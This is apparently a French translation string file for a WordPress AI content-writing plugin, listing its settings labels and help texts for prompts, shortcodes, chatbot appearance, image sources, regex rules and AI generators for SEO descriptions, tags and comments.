%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également supportés (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour la fin de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l’extrait de l’article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : shortcodes imbriqués également pris en charge (shortcodes générés par des règles d’autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres de règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l’IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour la fin de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également supportés (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'extraction de mots-clés/phrases-clés du texte soumis (afin que la recherche sur internet soit plus susceptible de renvoyer des résultats liés à la requête envoyée à l'IA). Vous pouvez utiliser le shortcode suivant ici : %%original_prompt%%. La valeur par défaut de ce paramètre est : %%original_prompt%% : À l'aide de quel mot-clé ou de quelle phrase dois-je effectuer une recherche sur l'internet, afin d'obtenir des résultats en rapport avec ce texte : "%%original_prompt%%"?Prompt*PromptsPrompt modifiables par les utilisateurs :Protéger les balises HTML dans le texte édité :Date de publicationPublier un contenu modifié même si l'IA a supprimé des parties du texte HTML :PubliéPendjabiPendjabi (Google Traduction)ObjectifQuechuaQuechua (Google Traduction)RequêtesCitationRadioAléatoireAléatoire (haut/bas)Vignette aléatoire d'un produit AmazonGénérateur de phrases aléatoiresGénérateur de phrases aléatoires :Randomiser l'ordre des produitsRandomiser l'ordre des produits :Plugins recommandés pour vousEnregistrer le code d'achat Envato pour activer les mises à jour automatiques :Enregistrer le code d'achatRéindexer chaque message :Rubriques connexes Générateur de Prompt d'IARubriques connexes à la création de Prompts d'une IA :Questions relatives à la créationPertinenceReligionJetons / Tokens API restants : Remote GetRemote PostSupprimer la catégorie d'article par défaut de WPSupprimer la catégorie d'articles par défaut de WP :Remplacer les correspondances Regex (contenu)Remplacer les correspondances Regex (contenu) :Remplacer les correspondances à partir de Regex (Prompts)Remplacer les correspondances à partir de Regex (Prompts) :Remplacez les correspondances de regex ci-dessus par cette expression de regex. Si vous souhaitez supprimer le contenu correspondant des Prompts, laissez ce champ vide. Aucun séparateur Regex n'est requis ici. Vous pouvez ajouter plusieurs expressions de remplacement, chacune sur une ligne différente.Remplacer les correspondances ci-dessus par l'expression suivante. Si vous souhaitez supprimer le contenu correspondant, laissez ce champ vide. Aucun séparateur Regex n'est requis ici. Vous pouvez ajouter plusieurs expressions de remplacement, chacune sur une ligne différente.Mot-clé de remplacementN'exiger qu'un seul mot de la "liste des mots requis" :Extensions PHP requisesObligatoire*Redimensionner l'image générée par l'IA à la hauteur spécifiée dans ce champ de texte (en pixels). Si vous souhaitez désactiver cette fonction, laissez ce champ vide. Cette fonction ne fonctionne que si vous copiez les images générées par l'IA localement sur votre serveur.Redimensionner l'image générée par l'IA à la largeur spécifiée dans ce champ de texte (en pixels). Si vous souhaitez désactiver cette fonctionnalité, laissez ce champ vide. Cette fonction ne fonctionne que si vous copiez les images générées par l'IA localement sur votre serveur.Redimensionner l'image qui a été assignée à l'image vedette à la hauteur spécifiée dans ce champ de texte (en pixels). Si vous souhaitez désactiver cette fonctionnalité, laissez ce champ vide.Redimensionner l'image qui a été assignée à l'image vedette à la largeur spécifiée dans ce champ de texte (en pixels). Si vous souhaitez désactiver cette fonctionnalité, laissez ce champ vide.Restaurer les paramètres du plugin par défautRétablir les paramètres par défautFichiers de résultatsOrdre des résultats : Récupérer le contenuAnnuler la licenceRéécrire également l'URL l'articlé avec le titre modifié :Options de création de contenu enrichiOptions de création de contenu enrichi :DroiteRoumainRoumain (Google Traduction)LignesLibre de droitsTexte d'attribution d'image libre de droits (%%royalty_free_image_attribution%%) : Options d’image libre de droits :Options de recherche d'images libres de droits :Ordre de recherche d'images libres de droits :Images libres de droitsRoylaty gratuitRègleOptions de publication basées sur le titre :Règle désactivéeRègles en cours d’exécution :Règles par page :Exécuter au-dessus de Regex sur les PromptsExécuter au-dessus de Regex sur les Prompts :Exécuter le post-éditionExécuter Regex sur le contenuExécutez Regex sur le contenu :Exécuter Regex sur les PromptsExécuter Regex sur les Prompts :Exécuter les règles seulement après cette heureExécuter les règles uniquement avant cette heureLancer le Prompt de contenu séparément pour chaque sectionExécuter cette règle maintenantExécuter Regex sur le contenu de l'article. Pour désactiver cette fonctionnalité, laissez ce champ vide. Aucun séparateur Regex n'est requis ici. Vous pouvez ajouter plusieurs expressions Regex, chacune sur une ligne différente.Exécuter Regex sur les Prompts. Pour désactiver cette fonctionnalité, laissez ce champ vide. Aucun séparateur Regex n’est requis ici. Vous pouvez ajouter plusieurs expressions Regex, chacune sur une ligne différente.RusseRusse (Google Traduction)Options de méta-description SEO :Prompt de la méta-description SEOSERVEURSIMPLELENTLENTEMENTLE PLUS LENTSUHOSIN installéSUHOSIN installé:Recherche sécurisée : SamoanSamoan (Google Traduction)Exemple de réponseEchantillonnage :Étapes de l'échantillonnage :SanscritSanskrit (Google Traduction)Arabie SaouditeSauvegarderSauvegarder et ajouter un nouveauSauvegarder le contenu de l'IAEnregistrer les paramètresSauvegarde du poste...PlanifierScienceGaelic écossaisGaélique écossais (Google Traduction)Faites défiler vers le bas du formulaire sur les nouveaux Messages :Rechercher par mot-cléMots-clés de recherche pour les articles connexes, In :Décalage de la recherche :Chercher des sources d’articlesRépétition des requêtes de rechercheRépétition des requêtes de recherche :Requête de recherche :Ordre des résultats de recherche : Deuxième liste de phrases /Sentences possibles (%%random_sentence2%%) :Mot secret utilisé pour l'exécution du Cron (facultatif) :SectionsSélectionnerSélectionnez les donnéesSélectionnez une catégorie (facultatif)Sélectionnez une voix :Sélectionnez une liste de mots séparés par des virgules que vous ne souhaitez pas faire tourner (uniquement pour les spinners intégrés).Sélectionnez un mot secret qui sera utilisé lorsque vous exécutez la partie d'édition des articles du plugin manuellement par URL/par cron. Voir les détails ci-dessous.Sélectionnez un profil de périphérique audio pour la voix choisie.Sélectionnez une Tonalité de la voix choisie. Tonalité parlée, dans la plage [-20.0, 20.0]. 20 signifie une augmentation de 20 demi-tons par rapport à la tonalité d'origine. -20 signifie une diminution de 20 demi-tons par rapport à la hauteur originale.Sélectionnez la vitesse de la voix choisie. Vitesse d'élocution, dans la plage [0,25, 4,0]. 1.0 est la vitesse native normale supportée par la voix spécifique. 2.0 est deux fois plus rapide, et 0.5 est deux fois moins rapide. Si unset(0.0), la valeur par défaut est la vitesse native de 1.0. Toute autre valeur < 0,25 ou > 4,0 entraînera une erreur.Sélectionnez la langue de la voix choisie.Sélectionnez le nom de la voix choisie.Sélectionnez la voix que vous souhaitez utiliser pour votre chatbot.Sélectionnez une voix que vous souhaitez utiliser pour votre chatbot vidéo. Vous pouvez ajouter des voix dans le format suivant : voice_provider:voice_name:voice_config - listes des voix disponibles :Sélectionnez une ActionSélectionnez une adresse électronique à laquelle une notification sera envoyée, au cas où une règle spécifique aurait épuisé ses mots-clés et qu'elle n'aurait pas publié de nouveau contenu pour cette raison. Ceci ne sera appliqué que si vous cochez la case "Traiter chaque titre/sujet une seule fois" dans les règles. Vous pouvez saisir une liste d'adresses électroniques séparées par des virgules qui seront notifiées.Sélectionnez une imageSélectionnez cette option si vous ne souhaitez pas traiter deux fois le même message à l'aide de l'édition en masse de messages.Indiquez si vous souhaitez que l'outil de remplacement des mots clés corresponde également à des mots partiels ou uniquement à des mots entiers.Sélectionnez si vous souhaitez ajouter une section de questions et réponses (Q&R) au message créé. Pour activer les questions-réponses pour les articles, assurez-vous d'ajouter également une invite dans le champ de configuration "Invitation à répondre aux questions de l'article" ci-dessous.Sélectionnez si vous souhaitez ajouter une table des matières au message créé.Sélectionnez si vous souhaitez ajouter une image à chacun des titres créateurs de l'article.Sélectionnez si vous souhaitez ajouter les images du produit à l'article.Sélectionnez si vous voulez permettre au chatbot d'envoyer des réponses HTML et au plugin d'exécuter et d'analyser ces réponses HTML.Sélectionnez si vous souhaitez appliquer un délai absolu. Dans le cas d'un délai absolu, un jour représente aujourd'hui. Sinon, il représente les dernières 24 heures à partir de maintenant. La même logique s'applique aux autres cadres temporels.Sélectionnez cette option si vous souhaitez faire défiler automatiquement la fenêtre vers le bas sur les nouveaux messages.Sélectionnez si vous souhaitez modifier le statut des messages après leur modification.Sélectionnez si vous souhaitez activer la rédaction de méta-descriptions SEO pour les taxonomies. Notez que cela ne fonctionnera que pour les taxonomies traitées automatiquement à l'aide du champ de configuration "Activer le traitement automatique de toutes les taxonomies nouvellement ajoutées pour" ci-dessus. Notez également que vous devrez avoir un plugin SEO installé sur votre site, parmi la liste suivante : Yoast SEO, All In One SEO, Rank Math.Sélectionnez si vous souhaitez activer le traitement automatique et la création de descriptions à l'aide de l'IA pour toutes les taxonomies nouvellement ajoutées pour les noms de taxonomie que vous sélectionnez (qui n'ont pas déjà une description définie lorsqu'elles sont créées).Sélectionnez si vous souhaitez activer la modération du chatbotSélectionnez si vous souhaitez activer la synthèse vocale/vidéo du chatbot.Sélectionnez si vous souhaitez activer le scraping direct du site web Pixabay. Cela générera des résultats différents de ceux de l'API.Sélectionnez si vous souhaitez activer la copie des messages lorsque les utilisateurs cliquent sur les bulles de message.Sélectionnez si vous souhaitez activer le mode de chat persistant également pour les utilisateurs non connectés.Sélectionnez si vous souhaitez activer le Chat Mode de conversation permanente. Les chats seront enregistrés dans la base de données et peuvent être consultés à partir du menu « Limites et statistiques » du plugin.Sélectionnez cette option si vous souhaitez que les Prompts soient modifiables par l’utilisateur. Vous ne devez utiliser cette fonctionnalité qu’avec la fonctionnalité de modèles d’invite.Sélectionnez si vous souhaitez activer la fonction de saisie vocale pour le chatbot.Sélectionnez si vous souhaitez autoriser l'utilisation de la recherche Google Images avec le filtre Creative Commons activé pour l'obtention d'images.Sélectionnez si vous souhaitez activer l'utilisation de l'API Unsplash pour obtenir des images.Sélectionnez si vous souhaitez injecter le chatbot globalement, sur l’ensemble du front-end et/ou du back-end de votre site.Sélectionnez si vous souhaitez que le chatbot réponde avec du texte intégral ou si vous souhaitez activer un effet de frappe, de sorte que le texte apparaisse progressivement.Sélectionnez si vous souhaitez que le chatbot réponde en texte intégral ou si vous souhaitez activer un effet de frappe, de sorte que le texte apparaisse progressivement. Cette option est également nécessaire pour la fonction de synthèse vocale du plugin.Sélectionnez si vous souhaitez que cette règle cible le titre de l'article, le contenu ou les deux.Sélectionnez cette option si vous souhaitez traiter une seule fois chaque titre de la liste ajoutée.Sélectionnez si vous voulez randomiser l'ordre des sources d'images libres de droits, à chaque exécution. Si vous cochez cette case, l'ordre ci-dessus ne sera plus appliqué.Indiquez si vous souhaitez rendre aléatoire l'ordre des résultats de la recherche, des images renvoyées. Cela peut réduire la précision des images, mais les rendre plus uniques.Sélectionnez si vous souhaitez réindexer tous les articles (y compris ceux qui sont déjà indexés).Sélectionnez si vous souhaitez supprimer le code JavaScript des réponses HTML du chatbot.Indiquez si vous souhaitez afficher un éditeur de texte enrichi WP au lieu d'un simple espace de texte pour les résultats de l'IA.Sélectionnez si vous souhaitez afficher les options avancées du formulaire pour les utilisateurs.Sélectionnez si vous souhaitez afficher l'en-tête du formulaire aux utilisateurs.Sélectionnez si vous voulez essayer de traduire les mots-clés de la requête de recherche en anglais. Cela peut être utile pour les langues autres que l'anglais.Sélectionnez si vous souhaitez utiliser les titres générés par l'IA pour les articles créés par le plugin. Si ce n'est pas le cas, le titre de la vidéo YouTube sera utilisé.Sélectionnez si vous souhaitez utiliser le rédacteur d'IA pour obtenir des titres connexes pour les articles créés.Sélectionnez si vous souhaitez utiliser les résultats de la recherche Bing pour obtenir des titres connexes pour les articles créés.Sélectionnez si vous souhaitez utiliser le Prompt de contenu ci-dessus pour créer l'intégralité de l'article à partir d'un seul appel API (case cochée) ou si vous souhaitez exécuter le Prompt pour chaque section séparément (case non cochée). Si vous cochez cette case, veillez à modifier le Prompt de contenu en conséquence.Sélectionnez si vous souhaitez ajouter une vidéo YouTube pertinente à la fin de l'article créé.Sélectionnez si vous souhaitez ajouter la vidéo YouTube source à la fin de l'article créé.Sélectionnez les images qui ont reçu un prix de la rédaction.Sélectionnez les parties des articles publiés sur votre site dans lesquelles vous souhaitez rechercher des mots-clés connexes. Si vous laissez ce champ vide, les valeurs par défaut seront le titre et le contenu de l'article.Sélectionnez les Prompts sur lesquelles vous souhaitez exécuter la Regex ci-dessus. Les valeurs possibles sont (ou n'importe laquelle de leurs combinaisons) : title, intro, sections, content, conclusion, excerptSélectionnez le service AI API à utiliser pour générer du contenu dans le plugin.Sélectionnez le modèle d'IA à utiliser pour le générateur de catégories.Sélectionnez le modèle d'IA à utiliser pour le générateur de catégories. Vous pouvez l'ajouter aux catégories d'articles si vous sélectionnez "Catégories générées par l'IA" dans le champ de configuration "Ajout automatique de catégories".Sélectionnez le modèle d'IA à utiliser pour le générateur de commentaires.Sélectionnez le modèle IA à utiliser pour le générateur d'en-têtes.Sélectionnez le modèle d'IA à utiliser pour le générateur de balises. Vous pouvez l'ajouter aux balises de l'article si vous sélectionnez "IA Generated Tags" dans le champ de configuration "Auto Add Tags".Sélectionnez le modèle d'IA à utiliser pour le générateur de balises.Sélectionnez le modèle d'IA à utiliser pour le générateur de texte.Sélectionnez le modèle IA à utiliser pour le Q&R (Question Réponse).Sélectionnez le modèle d'IA à utiliser pour le générateur de catégories. Vous pouvez l'ajouter aux catégories d'articles si vous sélectionnez "Catégories générées par l'IA" dans le champ de configuration "Ajout automatique de catégories".Sélectionnez le modèle d'IA à utiliser pour le générateur de contenu.Sélectionnez le modèle d'IA à utiliser pour le générateur d'extraits.Sélectionnez le modèle IA à utiliser pour le générateur de rubriques.Sélectionnez le modèle d'IA à utiliser pour le générateur d'intro.Sélectionnez le modèle IA à utiliser pour le générateur de conclusion.Sélectionnez le modèle IA à utiliser pour le générateur de sections.Sélectionnez le modèle d'IA à utiliser pour le générateur de balises. Vous pouvez l'ajouter aux balises de l'article si vous sélectionnez "IA Generated Tags" dans le champ de configuration "Auto Add Tags".Sélectionnez le modèle IA à utiliser pour le générateur de texte.Sélectionnez le modèle d'IA à utiliser pour le générateur de titres.Sélectionnez le modèle IA à utiliser pour le générateur de texte de titre. Vous pouvez l'ajouter aux titres des articles en utilisant le shortcode %%ai_generated_title%%.Sélectionnez le modèle IA à utiliser pour le générateur de texte de titre. Vous pouvez l'ajouter aux titres des articles en utilisant le shortcode %%ai_generated_title%%.Sélectionnez le modèle d'IA que vous souhaitez utiliser.Sélectionnez le modèle d'IA à utiliser pour ce formulaire.Sélectionnez le modèle d'IA à utiliser pour l'édition de texte. Actuellement, les modèles d'édition spécialisés d'OpenAI/AiomaticAPI sont en version bêta, c'est pourquoi il est recommandé pour le moment d'utiliser un modèle d'achèvement.Sélectionnez le modèle d’IA que vous souhaitez utiliser pour la modération.Sélectionnez la couleur d'arrière-plan du formulaire.Sélectionnez l'alignement du bouton de soumission.Sélectionnez l'auteur que vous souhaitez affecter aux messages générés automatiquement.Sélectionnez la couleur d’arrière-plan du formulaire de chatbot. La valeur par défaut est #f7f7f9Sélectionnez la couleur de bordure pour le champ de saisie. La valeur par défaut est #e1e3e6Sélectionnez la couleur du bouton du formulaire.Sélectionnez la couleur du texte du bouton du formulaire.Sélectionnez la couleur du bouton d’envoi. La valeur par défaut est #55a7e2Sélectionnez le pays dans lequel vous avez enregistré votre compte d'affilié.Sélectionnez le chat mode par défaut (image ou texte).Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le rédacteur de commentaires AI.Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le rédacteur de la description de la taxonomie AI.Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le rédacteur de la description SEO de la taxonomie AI. Ceci définira la description SEO pour les plugins SEO suivants : Yoast SEO, All In One SEO, Rank Math.Sélectionnez le modèle par défaut que vous souhaitez utiliser pour le shortcode [aicontent]. Vous pouvez également le définir dans les paramètres du shortcode.Choisissez la couleur de police pour la bulle du chatbot IA dans le formulaire. La valeur par défaut est #f0f0f0Sélectionnez la couleur de police du formulaire de chatbot IA. La valeur par défaut est noireSélectionnez la couleur de police du formulaire de chatbot baloon utilisateur. La valeur par défaut est #0084ffSélectionnez la couleur de police du formulaire de chatbot utilisateur. La valeur par défaut est le blancSélectionnez la taille de police du formulaire de chatbot. La valeur par défaut est 1emSélectionnez la hauteur du formulaire de chatbot. La valeur par défaut est auto. Vous pouvez définir des valeurs en pixels, comme : 400pxSélectionnez la taille des images générées par l'IA.Sélectionnez la taille de l'image pour le chatbot d'images d'IA.Sélectionnez l'intervalle en heures après lequel vous souhaitez que cette règle s'exécute. Défini en heures.Sélectionnez l'intervalle en minutes après lequel vous souhaitez que cette règle s'exécute. Défini en minutes.Sélectionnez la langue de l'extracteur automatique de mots-clés, qui est utilisé pour la fonction de liens internes du plugin.Sélectionnez la méthode d'insertion des liens (linking) à utiliser dans les messages.Sélectionnez l'emplacement des images d'en-tête.Sélectionnez l'emplacement du bouton de soumission.Sélectionnez la longueur maximale des champs de saisie du formulaire.Sélectionnez le nombre maximum de crédits pour les invités qui ne sont pas connectés. Pour désactiver cette fonction, laissez ce champ vide.Sélectionnez le nombre maximum de crédits pour les utilisateurs connectés. Vous pouvez également sélectionner le type de crédits : requêtes, jetons ou prix. Pour désactiver cette fonctionnalité, laissez ce champ vide.Sélectionnez le nombre maximal d'Articles que cette règle peut créer simultanément.Sélectionnez la position maximale des images dans les résultats de la recherche d'images. Les images les plus pertinentes sont affichées en premier dans les résultats de la recherche d'images libres de droits. C'est pourquoi l'utilisation d'un nombre aussi bas que 4 fera en sorte que le plugin n'utilisera que les 4 premiers résultats de la recherche d'images libres de droits. Cela peut améliorer la précision de l'image. Si vous laissez ce champ vide, la valeur par défaut sera utilisée : 4Sélectionnez l'article qui apparaîtra aux utilisateurs lorsque leur entrée sera marquée.Sélectionnez la longueur minimale des champs de saisie du formulaire.Sélectionnez la hauteur minimale du formulaire de chatbot (lorsque le formulaire est redimensionné, il s’agit de la hauteur minimale qu’il sera autorisé à obtenir. La valeur par défaut est 250px. Vous pouvez définir des valeurs en pixels, comme : 400pxSélectionnez le nombre minimum de caractères que le contenu supplémentaire doit comporter. Si l'API renvoie un contenu contenant moins de caractères que ce nombre, un autre appel à l'API sera effectué, jusqu'à ce que cette limite de caractères soit atteinte. Pour en savoir plus sur la limitation du nombre de caractères par l'API, cliquez ici.Sélectionnez le nombre minimum de caractères que les messages doivent contenir. Si l'API renvoie un contenu contenant moins de caractères que ce nombre, un autre appel à l'API sera effectué, jusqu'à ce que la limite de caractères soit atteinte. Pour en savoir plus sur la limitation du nombre de caractères par l'API, cliquez ici.Sélectionnez le modèle à utiliser pour le chatbot.Sélectionnez le modèle que vous souhaitez utiliser pour intégrer la réécriture et l'optimisation du contenu.Sélectionnez le modèle que vous souhaitez utiliser pour les encastrements.Sélectionnez le modèle que vous souhaitez utiliser pour l'extraction de mots-clés, pour les résultats de recherche sur Internet.Sélectionnez le modèle que vous souhaitez utiliser pour l'extraction de mots-clés, pour l'importation d'images libres de droits.Sélectionnez le nombre de résultats de recherche à ajouter dans le shortcode %%web_results%%. La valeur par défaut de ce paramètre est : 3Sélectionnez la catégorie d'articles que vous souhaitez voir figurer dans les articles générés automatiquement.Sélectionnez les étiquettes de messages que vous souhaitez voir figurer dans les messages générés automatiquement. Spintax pris en charge.Sélectionnez les types d'articles pour lesquels vous souhaitez activer l'indexation automatique des embeddings.Sélectionnez le mode de répétition de la requête lors de la recherche d'images libres de droits.Sélectionnez la taille de l’image générée.Sélectionnez la langue source de la traduction.Sélectionnez la source des images créées.Sélectionnez la source du titre de l'article. Si vous sélectionnez IA generated, le plugin créera un titre généré par l'IA sur la base des mots-clés que vous entrez dans le champ de configuration 'Liste des titres des articles'. Sinon, il utilisera les titres listés dans ce champ pour les articles créés.Sélectionnez le statut que vous souhaitez donner aux messages générés automatiquement.Sélectionnez le modèle d'intégration qui sera enregistré dans la base de données. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. La valeur par défaut de ce champ est : %%post_title%% -- %%post_excerpt%% -- Lire la suite sur : %%post_url%%Sélectionnez la couleur du texte du formulaire.Sélectionnez la couleur du texte du bouton d’envoi. La valeur par défaut est #55a7e2Sélectionnez la période pour laquelle vous souhaitez appliquer la limitation susmentionnée.Sélectionnez le type (article/page) pour votre article généré automatiquement.Sélectionnez le type de crédits.Sélectionnez le type de tri des résultats renvoyés. Cela ne fonctionnera que si vous avez également défini une valeur dans le champ de configuration "Catégorie Amazon".Sélectionnez le type de tri des résultats renvoyés. Cela ne fonctionnera que si vous avez également défini une valeur dans le champ de configuration "Catégorie Amazon".Sélectionnez le rôle de l'utilisateur à restreindre.Sélectionnez les utilisateurs qui auront un accès complet lorsqu'ils interagiront avec les fonctionnalités du plugin.Sélectionnez la manière dont vous souhaitez programmer la modification automatique des articles existants de votre site, en utilisant les paramètres ci-dessous.Sélectionnez la largeur du formulaire de chatbot. Pour la pleine largeur, vous pouvez définir 100 % (valeur par défaut). Vous pouvez également définir des valeurs en pixels, comme : 400pxChoisissez ce que vous voulez faire avec les titres de produits dans les articles.Sélectionnez ce que vous voulez faire avec les sections des articles.Sélectionnez le moment où vous souhaitez traiter automatiquement les messages.Sélectionnez l’endroit où vous souhaitez afficher l'intégration du chatbot.Sélectionnez les articles à traiter - les articles avec ou sans images vedettes.Sélectionnez l'ordre dans lequel vous souhaitez rechercher des sources d'images libres de droits.Envoyer une notification par courrier électronique lorsqu'une règle spécifique a épuisé ses mots-clés/sujets :Envoyer le résumé de l'exécution de la règle par courrier électronique :Séparer les sources d’articles par des virgulesSéparez les étiquettes par des virgulesSepediSepedi (Google Traduction)SerbeSerbe (Google Traduction)Clé API SerpAPI (facultative) (utilisée pour les rubriques connexes et l'accès à l'Internet IA)Clé SerpAPI (facultatif)Environnement du serveurSesothoSesotho (Google Traduction)ID de sessionID de la session : l'ID de la session au cours de laquelle la demande a été faite.Définir une plage de dates de publication d'un article personnaliséDéfinir une plage de dates de publication d'un article personnalisé :Définissez une icône qui ouvrira le chatbot.Définir une liste d'URL où ne pas afficher le chatbot. Vous pouvez saisir plusieurs URL, chacune sur une nouvelle ligne.Définissez un prompt pour générer un mot-clé afin d'importer des images libres de droits pour les articles créés. Vous pouvez également demander à l'auteur AI de renvoyer une liste de mots-clés séparés par des virgules. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les shortcodes supplémentaires suivants : %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande seed - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous pouvez utiliser quelque chose comme : J'ai besoin de trouver des images libres de droits très pertinentes pour le titre d'un article, veuillez extraire une liste séparée par des virgules des mots-clés les plus pertinents du titre, en donnant la priorité aux références spécifiques plutôt qu'aux mots-clés généraux. Attribuez la priorité la plus élevée au mot-clé le plus spécifique qui est toujours lié au sujet principal. Ce faisant, vous m'aiderez à trouver des images plus appropriées et plus ciblées pour le titre de l'article. Le titre de l'article de blog est le suivant : "%%post_title%%".Définir un modèle à utiliser pour la création automatique d'embeddingsDéfinissez un exemple de réponse pour ce formulaire, qui peut être montré aux utilisateurs.Définissez une commande rapide que vous souhaitez envoyer au générateur de méta description AI SEO. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera des commentaires pour les articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser des champs personnalisés (post meta) qui sont assignés aux articles en utilisant des shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). La valeur par défaut est : Écrire une méta-description SEO pour le titre de l'article : %%post_title%%Définissez une commande rapide que vous souhaitez envoyer au générateur de catégories de l'IA. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel l'IA générera des catégories pour les articles. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande d'invite - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Définissez une commande rapide que vous souhaitez envoyer au générateur de commentaires de l'IA. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel l'IA générera des commentaires pour les articles. Vous pouvez utiliser les shortcodes suivants : %%previous_comments%%, %%post_title%%, %%comment_author_name%%, %%comment_author_email%%, %%comment_author_url%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont assignés aux articles à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins).Définissez une commande rapide que vous souhaitez envoyer au générateur d'images IA. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera du contenu pour les articles. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser des champs personnalisés (post meta) qui sont assignés aux articles en utilisant des shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données importées du champ personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur de cette commande ne doit pas être supérieure au nombre maximum de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Si vous utilisez des images libres de droits comme source, vous pouvez également définir leurs mots-clés ici, si aucun mot-clé n'est défini, ils seront générés automatiquement.Définissez une commande rapide que vous souhaitez envoyer au générateur de tags AI. Cette commande peut être n'importe quelle tâche ou ordre donné, sur la base duquel il générera des balises pour les messages. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser les champs personnalisés (post meta) qui sont 